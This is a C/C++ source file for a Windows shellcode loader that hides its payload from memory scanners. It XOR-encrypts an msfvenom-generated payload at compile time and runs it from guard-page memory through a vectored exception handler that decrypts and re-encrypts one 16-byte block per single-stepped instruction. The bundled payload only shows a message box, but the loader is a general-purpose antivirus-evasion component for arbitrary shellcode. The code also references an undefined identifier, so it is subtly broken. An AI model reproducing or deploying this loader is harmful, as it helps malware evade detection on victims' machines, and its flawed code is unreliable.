Single Step Encryption/Decryption

mainc.c

#include <Windows.h>

LONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo);
typedef VOID(__stdcall* Shellcode)();

LPBYTE ShellcodeBuffer;
ULONG_PTR PreviousOffset;
ULONG_PTR CurrentOffset;
ULONGLONG InstructionCount;
DWORD dwOld;

constexpr char KEY = 0xFF;

// Hello World! shellcode generated with msfvenom -p windows/messagebox
// it's non-encrypted here, but will be encrypted compile-time
constexpr unsigned char sc[400] =
{
0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b,
0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b,
0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24,
0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a,
0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0,
0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c,
0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a,
0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2,
0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f,
0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52,
0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33,
0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89,
0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c,
0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67,
0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3,
0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20,
0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24,
0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff,
0x55,0x08
};

template <unsigned int N, unsigned char key = KEY>
struct Encryptor {
	char encrypted[N] {0};

	// simple compile-time encrypter with 1 byte key
	constexpr Encryptor(const unsigned char orig[N]) {
		for (auto i = 0; i < N; ++i)
			encrypted[i] = orig[i] ^ key;		
	}
};

constexpr auto Shellcode_XOR = Encryptor<sizeof(sc)>(sc);

LONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo)
{
	BYTE* currentBlock128 = NULL;

	CurrentOffset = (ULONG_PTR)ExceptionInfo->ExceptionRecord->ExceptionAddress - (ULONG_PTR)ShellcodeBuffer;

	if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_GUARD_PAGE)
	{
		// This is a naive disassembler
		// Hopefully no instruction is longer than 16 bytes 
		currentBlock128 = (BYTE*)((ULONG_PTR)ShellcodeBuffer + CurrentOffset);
		PreviousOffset = CurrentOffset;

		// Decrypt next 16-byte block
		VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_READWRITE, &dwOld);
		for (size_t i = 0; i < 0x10; i++)
			*(BYTE*)(currentBlock128 + i) ^= KEY;
		VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ, &dwOld);

		// Single step
		ExceptionInfo->ContextRecord->EFlags |= 0x100;
		InstructionCount++;

		// Execute next instruction
		// Triggers EXCEPTION_SINGLE_STEP
		return EXCEPTION_CONTINUE_EXECUTION;
	}
	else if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
	{
		currentBlock128 = (BYTE*)((ULONG_PTR)ShellcodeBuffer + PreviousOffset);

		// Re-encrypt the 16-byte block
		VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_READWRITE, &dwOld);
		for (size_t i = 0; i < 0x10; i++)
			*(BYTE*)(currentBlock128 + i) ^= KEY;
		VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ | PAGE_GUARD, &dwOld);

		// Continue execution at next instruction 
		// Triggers EXCEPTION_GUARD_PAGE
		return EXCEPTION_CONTINUE_EXECUTION;
	}
	else
	{
		return EXCEPTION_CONTINUE_SEARCH;
	}
}

int main(void)
{
	AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)SingleStepEncryptDecrypt);
	
	ShellcodeBuffer = (LPBYTE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	InstructionCount = 0;

	if (ShellcodeBuffer)
	{
		RtlCopyMemory(ShellcodeBuffer, Shellcode_XOR.encrypted, sizeof(Shellcode_XOR_FF));
		
		if (VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ | PAGE_GUARD, &dwOld))
		{
			Shellcode AntiMem = (Shellcode)ShellcodeBuffer;
			AntiMem();
		}
	}

	RemoveVectoredExceptionHandler((PVECTORED_EXCEPTION_HANDLER)SingleStepEncryptDecrypt);
}